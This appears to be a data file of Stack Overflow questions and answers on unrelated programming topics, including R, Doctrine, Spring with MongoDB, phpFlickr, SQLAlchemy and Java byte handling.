12416880	0	Getting names from ... (dots) <p>In improving an <code>rbind</code> method, I'd like to extract the names of the objects passed to it so that I might generate unique IDs from those.</p> <p>I've tried <code>all.names(match.call())</code> but that just gives me:</p> <pre><code>[1] "rbind" "deparse.level" "..1" "..2" </code></pre> <p>Generic example:</p> <pre><code>rbind.test &lt;- function(...) { dots &lt;- list(...) all.names(match.call()) } t1 &lt;- t2 &lt;- "" class(t1) &lt;- class(t2) &lt;- "test" &gt; rbind(t1,t2) [1] "rbind" "deparse.level" "..1" "..2" </code></pre> <p>Whereas I'd like to be able to retrieve <code>c("t1","t2")</code>.</p> <p>I'm aware that in general one cannot retrieve the names of objects passed to functions, but it seems like with ... it might be possible, as <code>substitute(...)</code> returns <code>t1</code> in the above example.</p>
9357680	0	Doctrine 2 Transaction demarcation: implicit vs explicit <p>Im reading the doctrine 2 docs and have a question about transaction demarcation. Is there any difference between the following two snippets of code (other than syntax obviously)? Or is this just two ways of doing the exact same thing (ie implicitly and explicitly). What is the preferred method/best practice (implicit or explicit)?</p> <p>Implicit:</p> <pre><code>// $em instanceof EntityManager $user = new User; $user-&gt;setName('George'); $em-&gt;persist($user); $em-&gt;flush(); </code></pre> <p>Explicit:</p> <pre><code>// $em instanceof EntityManager $em-&gt;transactional(function($em) { $user = new User; $user-&gt;setName('George'); $em-&gt;persist($user); }); </code></pre>
7860065	0	Coderush express seems doesn't work <p>I installed Coderush express and I can see that it is installed. (I can see that Camel Case Navigation works). But I can see any other feature works. Based on this page: <a href="http://community.devexpress.com/blogs/markmiller/archive/2009/06/25/coderush-xpress-for-c-and-visual-basic-2008.aspx" rel="nofollow">http://community.devexpress.com/blogs/markmiller/archive/2009/06/25/coderush-xpress-for-c-and-visual-basic-2008.aspx</a></p> <p>I cannot see any of these feature to works:</p> <ol> <li><p>Tab to Next Reference : no effect when I put caret on a variable and press tab ( a tab inserted at the middle of my variable name!)</p></li> <li><p>Highlight All References: pressing ctrl+alt +u add a ascii character to source code.</p></li> <li><p>Quick Navigation: Ctrl +Shift + Q has no effect.</p></li> <li><p>Quick File Navigation : Ctrl +Alt +F brings up F# interactive</p></li> <li><p>Selection Increase and Selection Reduce doesn't work: generate a beep</p></li> <li><p>Declare: ctrl +` has no effect.</p> <p>and ...</p></li> </ol> <p>Any idea why this is happening? I am using VS2010. </p>
14278186	0	Appending a html tag to php variable <p>I am newbie to php, just starting learning it, while working with wordpress.</p> <p>I want to add html code to a php variable, a anchor tag link actually. First i splitted the text using <code>substr()</code>, and now i want to append a anchor tag at the end of post.</p> <pre><code>$json['timeline']['date'][$i]['text'] = substr(strip_tags($post-&gt;post_content), 0, 400)+"&lt;a href='#'&gt;Read more..&lt;/"; </code></pre> <p>Well, I believe this is not the right way. Can anyone please guide me?</p>
33310972	0	 <p>The <strong>HTMLFormElement</strong> object/type has an <strong>checkValidity</strong> method you can use to check that.</p> <p>Check it here: <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement</a></p>
6344242	0	Object Comparison using if else | Operator Overloading <p>I have to <code>compare(&gt;,&lt;,==)</code> two <code>class object</code> based upon different criteria, explained below.</p> <pre><code>class Student { int iRollNumber; int iSection; int iMarks; } </code></pre> <ol> <li>I want to do comparison with <code>iRollNumber, iSection, iMarks</code> (Independently).</li> <li>I want to do comparison with <code>iRollNumber, iSection</code> (Combined).</li> <li>I want to do comparison with <code>iMarks, iSection</code> (Combined).</li> <li>..........</li> </ol> <p>Currently I am achieving this with <code>GetMethods()</code> and comparing them using <code>if elseif elseif..</code> structure.</p> <p>This is leading to the messy code everywhere!</p> <p>If I use <code>operator overloading</code> I have to decide on one way of comparison.</p> <p>Please suggest a way to do it with elegant coding. </p> <p>Or</p> <p>Can it be possible to call operator overloading Polymorphically?</p>
21377635	0	 <pre><code>select Id from ( select Id, Month_Id, Customer_Id, Total_Amount from TableA except select Id, Month_Id, Customer_Id, Total_Amount from TableB ) q </code></pre>
14335983	0	 <p>I used my apple developer support for this. Here's what the support said : </p> <blockquote> <p>The presence of the Voice I/O will result in the input/output being processed very differently. We don't expect these units to have the same gain levels at all, but the levels shouldn't be drastically off as it seems you indicate.</p> <p>That said, Core Audio engineering indicated that your results may be related to when the voice block is created it is is also affecting the RIO instance. Upon further discussion, Core Audio engineering it was felt that since you say the level difference is very drastic it therefore it would be good if you could file a bug with some recordings to highlight the level difference that you are hearing between voice I/O and remote I/O along with your test code so we can attempt to reproduce in house and see if this is indeed a bug. It would be a good idea to include the results of the singe IO unit tests outlined above as well as further comparative results.</p> <p>There is no API that controls this gain level, everything is internally setup by the OS depending on Audio Session Category (for example VPIO is expected to be used with PlayAndRecord always) and which IO unit has been setup. Generally it is not expected that both will be instantiated simultaneously.</p> </blockquote> <p>Conclusion? I think it's a bug. :/</p>
15069928	0	 <p>Another version w/o building lists. import xml.etree.ElementTree as ET</p> <pre><code>PATH_IN = "sweep.xml" tree = ET.parse(PATH_IN) def convert(root): for p in root.iter('project'): yield p.get('name') for d in p.iter('design'): yield d.get('name') for e in d.iter('param'): yield [e.attrib['name'], [p.text for p in e]] it = convert(tree.getroot()) import pprint pprint.pprint(list(it)) </code></pre> <p>On OP input gives.</p> <pre><code>['testProj', 'des1', ['mag_d', ['3mm', '1', '5', '1']], ['mag_x', ['3mm', '2', '7', '1']], ['mag_y', ['3mm', '1', '2', '0.1']], 'des2', ['mag_d', ['3mm', '1', '5', '1']], ['mag_x', ['3mm', '2', '7', '1']], ['mag_y', ['3mm', '1', '2', '0.1']]] </code></pre>
22289802	0	Spring bean load error using spring-data-mongodb <p>We are using Spring version 3.2.0 and now introducing spring-data-mongodb version 1.4.0 in the codebase. I tried to write a new spring config file (mongo-config.xml) while solely defines mongodb related beans. </p> <p>My Spring config is as follows: </p> <pre><code> &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:util="http://www.springframework.org/schema/util" xmlns:mongo="http://www.springframework.org/schema/data/mongo" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.2.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-3.2.xsd http://www.springframework.org/schema/data/mongo http://www.springframework.org/schema/data/mongo/spring-mongo-1.4.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"&gt; &lt;mongo:mongoid="replicaSetMongo"replica-set="localhost:10901,localhost:10902"&gt; &lt;mongo:optionsconnections-per-host="8" ssl="false" /&gt; &lt;/mongo:mongo&gt; &lt;mongo:db-factoryid="xmlLogDbFactory" mongo-ref="replicaSetMongo" dbname="logs" username="logs_owner" password="logs_owner" /&gt; &lt;mongo:mapping-converter&gt; &lt;mongo:custom-converters&gt; &lt;mongo:converter&gt; &lt;beanclass="com.utils.mongodb.dao.impl.SspLogsWriteConver ter"/&gt; &lt;/mongo:converter&gt; &lt;/mongo:custom-converters&gt; &lt;/mongo:mapping-converter&gt; &lt;beanid="xmlLogTemplate"class="org.springframework.data.mongodb.core.MongoTempla te"&gt; &lt;constructor-argname="mongoDbFactory"ref="xmlLogDbFactory"/&gt; &lt;constructor-argname="mongoConverter"ref="mappingConverter"/&gt; &lt;propertyname="writeConcern"&gt; &lt;util:constantstatic-field="com.mongodb.WriteConcern.UNACKNOWLEDGED"/&gt; &lt;/property&gt; &lt;/bean&gt; &lt;/beans&gt; </code></pre> <p>I deployed the application on JBoss. But JBoss given errors on startup as follows. Can someone help me what is going wrong? Is there a mismatch between spring version &amp; spring-mongodb version? I noticed that the exception trace mentions spring-beans-3.2.0 jar even though the issue is with mongo-config.xml</p> <pre><code>Caused by: org.springframework.beans.factory.parsing.BeanDefi nitionParsingException: Configuration problem: Failed to import bean definitions from relative location [mongo-config.xml] Offending resource: class path resource [spring/commonUtil-config.xml]; nested exception is org.springframework.beans.factory.BeanDefinitionSt oreException: Unexpected exception parsing XML document from class path resource [spring/mongo-config.xml]; nested exception is org.springframework.beans.FatalBeanException: Invalid NamespaceHandler class [org.springframework.data.mongodb.config.MongoNames paceHandler] for namespace [http://www.springframework.org/schema/data/mongo]: problem with handler class file or dependent class; nested exception is java.lang.NoClassDefFoundError: org/springframework/data/repository/config/RepositoryConfigurationExtension at org.springframework.beans.factory.parsing.FailFast ProblemReporter.error(FailFastProblemReporter.java :68) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.parsing.ReaderCo ntext.error(ReaderContext.java:85) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.parsing.ReaderCo ntext.error(ReaderContext.java:76) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.DefaultBeanD efinitionDocumentReader.importBeanDefinitionResour ce(DefaultBeanDefinitionDocumentReader.java:271) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.DefaultBeanD efinitionDocumentReader.parseDefaultElement(Defaul tBeanDefinitionDocumentReader.java:196) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.DefaultBeanD efinitionDocumentReader.parseBeanDefinitions(Defau ltBeanDefinitionDocumentReader.java:181) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.DefaultBeanD efinitionDocumentReader.doRegisterBeanDefinitions( DefaultBeanDefinitionDocumentReader.java:140) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.DefaultBeanD efinitionDocumentReader.registerBeanDefinitions(De faultBeanDefinitionDocumentReader.java:111) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.XmlBeanDefin itionReader.registerBeanDefinitions(XmlBeanDefinit ionReader.java:493) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.XmlBeanDefin itionReader.doLoadBeanDefinitions(XmlBeanDefinitio nReader.java:390) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.XmlBeanDefin itionReader.loadBeanDefinitions(XmlBeanDefinitionR eader.java:334) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.XmlBeanDefin itionReader.loadBeanDefinitions(XmlBeanDefinitionR eader.java:302) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] at org.springframework.beans.factory.xml.DefaultBeanD efinitionDocumentReader.importBeanDefinitionResour ce(DefaultBeanDefinitionDocumentReader.java:255) [spring-beans-3.2.0.RELEASE.jar:3.2.0.RELEASE] ... 36 more </code></pre>
6521786	0	not able to get and store screen resolution <p>I am using following code to save screen-resolution in cookie</p> <pre><code>var the_cookie="screen_resolution="+screen.width+"x"+screen.height+";expires="+today.setDate(today.getDate()+1); document.cookie=the_cookie; </code></pre> <p>But some-how, it not working on browsers like IE 7 and 8.</p> <p>Any idea, why it's not working? Is screen.width and screen.height don't retrieve screen-resolution on all browsers, or they have browser dependencies. </p>
25783086	0	 <p>The function isDigit and others like it all work with char types. Thus one you use it on a doulbe (conunt), you get wrong results.</p>
21931723	0	Downloading to download folder in Android <p>I have a webview in my app. One of my pages has a link to a mp3 which I should download directly from my app, so using a downloadlistener like this:</p> <pre><code>mWebView.setDownloadListener(new DownloadListener() { public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimetype, long contentLength) { Intent i = new Intent(Intent.ACTION_VIEW); i.setData(Uri.parse(url)); startActivity(i); } }); </code></pre> <p>is not good for me, because it launches the default browser before actually donwloading the file. </p> <p>Is there any way I can manage the download myself, to the OS download folder, so that it appears when user goes to the "Downloads" option in the Android menu?</p>
33938334	0	Weird SQL Server stored procedure behaviour - different results between asp.net and Management Studio <p>We have a stored procedure that’s used to populate a SSRS Report. It’s a bit of a monster – loads of conditional logic (in case statements), casts (sometimes embedded in other casts) from varchar to datetime, and 3 fields that rely on calls to a function that contains some date functions . The report contains financial information for a list of contracts for one organisation.</p> <p>I need to create an asp.net page that shows a subset of the data for one organisation/contract so I cloned the sproc and added a contract parameter. However I noticed the figures for the 3 fields that rely on the function are different on the web page from when the stored procedure is run directly on the database or through the report.</p> <p>To troubleshoot I created a page (quick and dirty using <code>SqlDataSource</code> and <code>DataGrid</code>) that shows the results of the original stored procedure showing all contracts. The query runs fine through Enterprise Manager but the web page crashes with the YSOD and the message </p> <blockquote> <p>The conversion of a nvarchar data type to a datetime data type resulted in an out-of-range value.</p> </blockquote> <p>I even tried hardcoding the SQL from the stored procedure into the web page but still get the same results</p> <p>On my dev machine the original stored procedure runs and my new stored procedure does return consistent results regardless of whether viewed through the web page or Management Studio. The regional settings etc are same on the dev server and live server. The only different thing I can think of is that the live web server and db server are on separate machines.</p> <p>Has anyone come across anything like this before??</p> <p>Thanks</p>
12841916	0	phpFlickr proxy not working call to member function error <p>I have downloaded and setup phpFlickr library but I need to use it from behind a proxy, so I have added the line to the example file and it throws an error. As its all pretty much out of the box, im flumaxed I also dont get the call to member function on a non object error it completely baffles me.</p> <p>The readme paragraph</p> <blockquote> <ol> <li>Some people will need to ues phpFlickr from behind a proxy server. I've implemented a method that will allow you to use an HTTP proxy for all of your traffic. Let's say that you have a proxy server on your local server running at port 8181. This is the code you would use: $f = new phpFlickr("[api key]"); $f->setProxy("localhost", "8181"); After that, all of your calls will be automatically made through your proxy server.</li> </ol> </blockquote> <p>The example.php file with my single modified line</p> <pre><code>require_once("phpFlickr.php"); $f = new phpFlickr("********************"); $f-&gt;setProxy("cache.mysite.org.uk", "80"); $recent = $f-&gt;photos_getRecent(); foreach ($recent['photo'] as $photo) { $owner = $f-&gt;people_getInfo($photo['owner']); echo "&lt;a href='http://www.flickr.com/photos/" . $photo['owner'] . "/" . $photo['id'] . "/'&gt;"; echo $photo['title']; echo "&lt;/a&gt; Owner: "; echo "&lt;a href='http://www.flickr.com/people/" . $photo['owner'] . "/'&gt;"; echo $owner['username']; echo "&lt;/a&gt;&lt;br&gt;"; </code></pre> <p>}</p> <p>Any idea why im getting the following error Call to a member function setProxy() on a non-object in public_html/phpFlickr/phpFlickr.php on line 338</p> <p>That code is</p> <pre><code>#336 function setProxy ($server, $port) { #337 // Sets the proxy for all phpFlickr calls. #338 $this-&gt;req-&gt;setProxy($server, $port); } </code></pre>
1791764	0	Variable item height in TreeView gives broken lines <p>Wee.</p> <p>So I finally figured out how the iIntegral member of TVITEMEX works. The MSDN docs didn't think to mention that setting it while inserting an item has no effect, but setting it after the item is inserted works. Yay!</p> <p>However, when using the TVS_HASLINES style with items of variable height, the lines are only drawn for the top part of an item with iIntegral > 1. E.g. if I set TVS_HASLINES and TVS</p> <p><a href="http://i49.tinypic.com/24o8wwk.png" rel="nofollow noreferrer">Here's what it looks like</a> (can't post images WTF?)</p> <p>Should I manually draw more of the lines in response to NM_CUSTOMDRAW or something?</p>
885474	0	 <p>They conceptually organize revisions as changesets which allow you to very easily branch/merge your code. Merging a branch in SVN is an excruciatingly painful experience.</p>
6869305	0	 <p>Even if static pages are going to be <em>slightly</em> faster than loading every page from the database, with projects such as these you have to take into consideration numerous other factors. It may be appealing to optimize for performance only, but you do not want to be the one to explain to your users why they need to spend 10 minutes in creating a new quiz because "the database runs more efficiently".</p> <p>What you need to focus on is usage. If you're the only one who's going to maintain it, sure, static pages might not be bad. But if you're going to hand off the page to non-technical users or if the pages are going to need frequent changing, well, that's why dynamic pages with an administration interface were made for.</p> <p>If this is a general-use application, I'd "optimize for users" rather than performance. Sure, the latter might take slight hits, but in the end, do not build something you do not want to maintain. Fast changing, multi-user applications - use administration backends.</p>
1133816	0	Dump Analysis with Source, using Visual Studio 2008 Express? <p>Is there any way to analyze app-crash minidumps (e.g. created by SetUnhandledExceptionFilter, or minidumpwritedump()) with source, using Visual Studio 2008 Express? </p> <p>I generally do this at work using "real" versions of VS, but when trying to get it to work on my personal projects (using VS 2008 Express) it tells me "There is no source code available for the current location." and refuses to give me anything other than a disassembly window. Symbols for the app in question are loaded by the debugger, the "Debug Source Files" property page includes a pointer to the directory in which my source-code lives, but no dice.</p> <p>Is it even possible to do this via the Express edition of VS 2008? If so, does anyone have any advice as to what else I could try to get this working?</p>
16252449	0	 <p>A byte is a signed value held in 8 bits and may be in the range -128 to 127.</p> <p>The left most bit is used as the sign bit.</p> <p><code>System.out.println(-20 &amp; 0xFF);</code> has nothing to do with bytes, this is an int operation.</p> <p>The binary representation of -20, as a byte is: 1110_1100</p> <p>1110_1100 &amp; 1111_1111 = 1110_1100</p> <p>If you want unsigned, there's char to play with, but you're not going to be happy. Realistically, Java doesn't have unsigned.</p> <p>Negatives are stored in '2s Complement' form, eg:</p> <p>1111_1111 == -1</p> <p>But why?</p> <p>Under 2s complement to make a negative number, all the bits are flipped (1s complement) and 1 is added (making 2s complement - two operations)</p> <p>So</p> <pre><code> 0000_0000 - Zero -0000_0001 - minus one --------- 1111_1110 - Ones complement - (this would be xor 1111_1111) +0000_0001 - plus one - we're converting to 2s complement, not doing math --------- 1111_1111 - -1 in 2s complement </code></pre>
13513078	0	User defined hierarchy in cube (dyslexia) <p>I can make 6 level dimension hierarchy with such relationships:</p> <ol> <li>main -> lvl1</li> <li>lvl1 -> lvl2</li> <li>lvl2 -> lvl3</li> <li>lvl3 -> lvl4</li> <li>lvl4 -> lvl5</li> </ol> <p>Hierarchy looks fine in the dimension browser. All attribute keys are composition keys of each other.</p> <p>When i try to use dimension in cube, with main as key to measures, it will fail citing: 'Attribute key 'main' not found..'</p> <p>In the measures are all members of the dimension hierarchy.</p> <p>is the relationship faulty or what is missing?</p>
4374475	0	Regarding Good CSS forum <p>i am looking for good css forum where i can post question an get answer very quickly like <a href="http://stackoverflow.com">http://stackoverflow.com</a>.</p> <p>please provide me few url related with css forum.</p>
30412318	0	 <p>Check out this implementation</p> <pre><code> void OnChatClick (object sender, EventArgs args) { var pic = new Image { Source = "bubble.png", Aspect = Aspect.Fill }; var textLabel = new Label { Text = "Hello", TextColor = Color.White, VerticalOptions = LayoutOptions.Center, LineBreakMode = LineBreakMode.WordWrap }; var relativeLayout = new RelativeLayout { BackgroundColor = Color.Navy, // HeightRequest = 1000 }; var absoluteLayout = new AbsoluteLayout { VerticalOptions = LayoutOptions.Center, BackgroundColor = Color.Blue }; var frame = new Frame { BackgroundColor = Color.Red }; absoluteLayout.Children.Add (pic, new Rectangle (0, 0, 1, 1), AbsoluteLayoutFlags.All); absoluteLayout.Children.Add (textLabel, new Rectangle (0.5, 0.5, AbsoluteLayout.AutoSize, AbsoluteLayout.AutoSize), AbsoluteLayoutFlags.PositionProportional); // textLabel.SizeChanged += (object label, EventArgs e) =&gt; { // relativeLayout.HeightRequest = textLabel.Height + 30; // absoluteLayout.HeightRequest = textLabel.Height + 30; // }; relativeLayout.Children.Add (frame, heightConstraint: Constraint.RelativeToParent (parent =&gt; parent.Height), widthConstraint: Constraint.RelativeToParent (parent =&gt; parent.Width * 0.3)); relativeLayout.Children.Add (absoluteLayout, xConstraint: Constraint.RelativeToParent (parent =&gt; parent.Width * 0.3), widthConstraint: Constraint.RelativeToParent (parent =&gt; parent.Width * 0.7)); ChatScrollViewStackLayout.Children.Add (relativeLayout); } </code></pre> <p>If you need to auto-adjust height of the chat message for long text uncomment all five commented lines.</p>
40134888	0	 <pre><code> SELECT ru.whs_code, ru.pdt_code, ru.case_dt_yyyymmdd, ru.fresh_frozen_status, ru.operation, ru.Qty - su.Qty AS Qty_Diff, ru.Wt - su.Wt AS Wt_Diff FROM ( SELECT whs_code, pdt_code, case_dt_yyyymmdd, fresh_frozen_status, operation, SUM(qty_cases_on_hand) AS Qty, SUM(qty_weight_on_hand) AS Wt FROM tbl_inventory_activity_rpt1 WHERE operation ='RU' GROUP BY whs_code,pdt_code,case_dt_yyyymmdd,fresh_frozen_status,operation ) ru, ( SELECT whs_code, pdt_code, case_dt_yyyymmdd, fresh_frozen_status, operation, SUM(qty_cases_on_hand) AS Qty, SUM(qty_weight_on_hand) AS Wt FROM tbl_inventory_activity_rpt1 WHERE operation ='SU' GROUP BY whs_code,pdt_code,case_dt_yyyymmdd,fresh_frozen_status,operation ) su WHERE ru.whs_code = su.whs_code AND ru.pdt_code = su.pdt_code AND ru.case_dt_yyyymmdd = su.case_dt_yyyymmdd AND ru.fresh_frozen_status = su.fresh_frozen_status AND ru.operation = su.operation; </code></pre>
8817772	0	 <p>This will let the system decide which viewer to use..</p> <pre><code> System::Diagnostics::Process::Start("C:\\MyPdf.pdf"); </code></pre>
12765785	0	 <p>Your problem is a misunderstanding of how PHP provides your "value" in the foreach construct.</p> <pre><code>foreach($top_level_array as $current_top_level_member) </code></pre> <p>The variable $current_top_level_member is a copy of the value in the array, not a reference to inside the $top_level_array. Therefore all your work happens on the copy and is discarded after the loop completes. (Actually it is in the $current_top_level_member variable, but $top_level_array never sees the changes.)</p> <p>You want a reference instead:</p> <pre><code>foreach($top_level_array as $key =&gt; $value) { $current_top_level_member =&amp; $top_level_array[$key]; </code></pre> <p><strong>EDIT:</strong></p> <p>You can also use the <code>foreach</code> by reference notation (hat tip to air4x) to avoid the extra assignment. Note that if you are working with an array of Objects, they are already passed by reference.</p> <pre><code>foreach($top_level_array as &amp;$current_top_level_member) </code></pre> <p>To answer you question as to why PHP defaults to a copy instead of a reference, it's simply because of the rules of the language. Scalar values and arrays are assigned by value, unless the <code>&amp;</code> prefix is used, and objects are always assigned by reference (<a href="http://www.php.net/manual/en/language.references.whatdo.php" rel="nofollow">as of PHP 5</a>). And that is likely due to a general consensus that it's generally better to work with copies of everything expect objects. BUT--it is not slow like you might expect. PHP uses a lazy copy called copy on write, where it is really a read-only reference. On the first write, the copy is made.</p> <blockquote> <p>PHP uses a lazy-copy mechanism (also called copy-on-write) that does not actually create a copy of a variable until it is modified.</p> <p>Source: <a href="http://www.thedeveloperday.com/php-lazy-copy/" rel="nofollow">http://www.thedeveloperday.com/php-lazy-copy/</a></p> </blockquote>
8432834	0	 <p>As in the Hayes modem control commands? These are the commands used to gain the *AT*tention of a modem and cause it to interact with the phone system and/or computer (to test, read, set and execute commands). A tutorial can be found here: <a href="http://www.engineersgarage.com/tutorials/at-commands" rel="nofollow">http://www.engineersgarage.com/tutorials/at-commands</a></p>
31325860	1	Dynamic Datasets and SQLAlchemy <p>I am refactoring some old SQLite3 SQL statements in Python into SQLAlchemy. In our framework, we have the following SQL statements that takes in a dict with certain known keys and potentially any number of unexpected keys and values (depending what information was provided). </p> <pre><code>import sqlite3 import sys def dict_factory(cursor, row): d = {} for idx, col in enumerate(cursor.description): d[col[0]] = row[idx] return d def Create_DB(db): # Delete the database from os import remove remove(db) # Recreate it and format it as needed with sqlite3.connect(db) as conn: conn.row_factory = dict_factory conn.text_factory = str cursor = conn.cursor() cursor.execute("CREATE TABLE [Listings] ([ID] INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE, [timestamp] REAL NOT NULL DEFAULT(( datetime ( 'now' , 'localtime' ) )), [make] VARCHAR, [model] VARCHAR, [year] INTEGER);") def Add_Record(db, data): with sqlite3.connect(db) as conn: conn.row_factory = dict_factory conn.text_factory = str cursor = conn.cursor() #get column names already in table cursor.execute("SELECT * FROM 'Listings'") col_names = list(map(lambda x: x[0], cursor.description)) #check if column doesn't exist in table, then add it for i in data.keys(): if i not in col_names: cursor.execute("ALTER TABLE 'Listings' ADD COLUMN '{col}' {type}".format(col=i, type='INT' if type(data[i]) is int else 'VARCHAR')) #Insert record into table cursor.execute("INSERT INTO Listings({cols}) VALUES({vals});".format(cols = str(data.keys()).strip('[]'), vals=str([data[i] for i in data]).strip('[]') )) #Database filename db = 'test.db' Create_DB(db) data = {'make': 'Chevy', 'model' : 'Corvette', 'year' : 1964, 'price' : 50000, 'color' : 'blue', 'doors' : 2} Add_Record(db, data) data = {'make': 'Chevy', 'model' : 'Camaro', 'year' : 1967, 'price' : 62500, 'condition' : 'excellent'} Add_Record(db, data) </code></pre> <p>This level of dynamicism is necessary because there's no way we can know what additional information will be provided, but, regardless, it's important that we store all information provided to us. This has never been a problem because in our framework, as we've never expected an unwieldy number of columns in our tables.</p> <p>While the above code works, it's obvious that it's not a clean implementation and thus why I'm trying to refactor it into SQLAlchemy's cleaner, more robust ORM paradigm. I started going through SQLAlchemy's official tutorials and various examples and have arrived at the following code:</p> <pre><code>from sqlalchemy import Column, String, Integer from sqlalchemy.ext.declarative import declarative_base from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker Base = declarative_base() class Listing(Base): __tablename__ = 'Listings' id = Column(Integer, primary_key=True) make = Column(String) model = Column(String) year = Column(Integer) engine = create_engine('sqlite:///') session = sessionmaker() session.configure(bind=engine) Base.metadata.create_all(engine) data = {'make':'Chevy', 'model' : 'Corvette', 'year' : 1964} record = Listing(**data) s = session() s.add(record) s.commit() s.close() </code></pre> <p>and it works beautifully with that data dict. Now, when I add a new keyword, such as</p> <pre><code>data = {'make':'Chevy', 'model' : 'Corvette', 'year' : 1964, 'price' : 50000} </code></pre> <p>I get a <code>TypeError: 'price' is an invalid keyword argument for Listing</code> error. To try and solve the issue, I modified the class to be dynamic, too:</p> <pre><code>class Listing(Base): __tablename__ = 'Listings' id = Column(Integer, primary_key=True) make = Column(String) model = Column(String) year = Column(Integer) def __checker__(self, data): for i in data.keys(): if i not in [a for a in dir(self) if not a.startswith('__')]: if type(i) is int: setattr(self, i, Column(Integer)) else: setattr(self, i, Column(String)) else: self[i] = data[i] </code></pre> <p>But I quickly realized this would not work at all for several reasons, e.g. the class was already initialized, the data dict cannot be fed into the class without reinitializing it, it's a hack more than anything, et al.). The more I think about it, the less obvious the solution using SQLAlchemy seems to me. So, my main question is, <strong>how do I implement this level of dynamicism using SQLAlchemy?</strong></p> <p>I've researched a bit to see if anyone has a similar issue. The closest I've found was <a href="http://stackoverflow.com/questions/2768607/dynamic-class-creation-in-sqlalchemy">Dynamic Class Creation in SQLAlchemy</a> but it only talks about the constant attributes ("<strong>tablename</strong>" et al.). I believe the unanswered <a href="http://stackoverflow.com/questions/29105206/sqlalchemy-dynamic-attribute-change">SQLalchemy dynamic attribute change</a> may be asking the same question. While Python is not my forte, I consider myself a highly skilled programmer (C++ and JavaScript are my strongest languages) in the context scientific/engineering applications, so I may not hitting the correct Python-specific keywords in my searches.</p> <p>I welcome any and all help.</p>
20426764	0	 <p>Quick suggestion add id as primary key column to users table. Then get that id after new record is inserted and save that id in SharedPreferences, then when ever required you can pull record from users table like using WHERE <code>id</code> = my_id_save. Here is example <a href="http://www.androidhive.info/2012/01/android-login-and-registration-with-php-mysql-and-sqlite/" rel="nofollow">http://www.androidhive.info/2012/01/android-login-and-registration-with-php-mysql-and-sqlite/</a></p>
29712802	0	 <p><code>getFileInfoClass</code> returns a class, so <code>getFileInfoClass(f)</code> is a class. When you take a class name and write parentheses after it, you call a constructor. </p> <p>So, <code>[getFileInfoClass(f)(f) for f in fileList]</code> makes a list of <code>FileInfo</code> objects.</p>
35718684	0	 <p>Exactly like the error states, you are attempting to compare a <a href="https://msdn.microsoft.com/en-us/library/c8f5xwh7.aspx" rel="nofollow"><code>bool</code></a> (<code>xx.Value</code>) with a <a href="https://msdn.microsoft.com/en-us/library/362314fe.aspx" rel="nofollow"><code>string</code></a> (<code>"rcat"</code>) which is not allowed for obvious reasons.</p>
22794254	0	 <p>i think Template method pattern better suits here. 1. create Hotel interface 2. create 3 Hotel classes(implements Hotel interface) LakeWood,Rosewood and xyzWood</p> <ol> <li><p>now create customer class and it will have series of dates also.</p> <p>here both Customer class and Hotel class both are independent.</p></li> <li><p>now create an interface say LogicInterface which will have a method and this method will be passed customer and List hotels as parameter, and will be returning cheapest hotel. now we will create class implementing LogicInterface.cheap hotel finding logic will be in this class here "Template method pattern" will be used,because later on and cheapest hotel finding logic is changed,we will create new class which will be implementing LogicInterface and just one line change will finish our work,no where any code change will be needed.</p></li> </ol>
17076030	0	How can I find int values within a string <p>I have a string, e.g. <code>"ksl13&lt;br&gt;m4n"</code>, and I want to remove all non-digit characters in order to get the int 134.</p> <p><code>Integer.parseInt(s)</code> obviously isn't going to work, but not sure how else to go about it.</p>
12599906	0	 <p>Note : When an object is cloned, PHP 5 will perform a shallow copy of all of the object's properties. Any properties that are references to other variables, will remain references. </p> <p>Alternative you can use reflection to create a (deep) copy of your object.</p> <pre><code> $productClone = $this-&gt;objectManager-&gt;create('Tx_Theext_Domain_Model_Product'); // $product = source object $productProperties = Tx_Extbase_Reflection_ObjectAccess::getAccessibleProperties($product); foreach ($productProperties as $propertyName =&gt; $propertyValue) { Tx_Extbase_Reflection_ObjectAccess::setProperty($productClone, $propertyName, $propertyValue); } // $productAdditions = ObjectStorage property $productAdditions = $product-&gt;getProductAddition(); $newStorage = $this-&gt;objectManager-&gt;get('Tx_Extbase_Persistence_ObjectStorage'); foreach ($productAdditions as $productAddition) { $productAdditionClone = $this-&gt;objectManager-&gt;create('Tx_Theext_Domain_Model_ProductAddition'); $productAdditionProperties = Tx_Extbase_Reflection_ObjectAccess::getAccessibleProperties($productAddition); foreach ($productAdditionProperties as $propertyName =&gt; $propertyValue) { Tx_Extbase_Reflection_ObjectAccess::setProperty($productAdditionClone, $propertyName, $propertyValue); } $newStorage-&gt;attach($productAdditionClone); } $productClone-&gt;setProductAddition($newStorage); // This have to be repeat for every ObjectStorage property, or write a service. </code></pre>
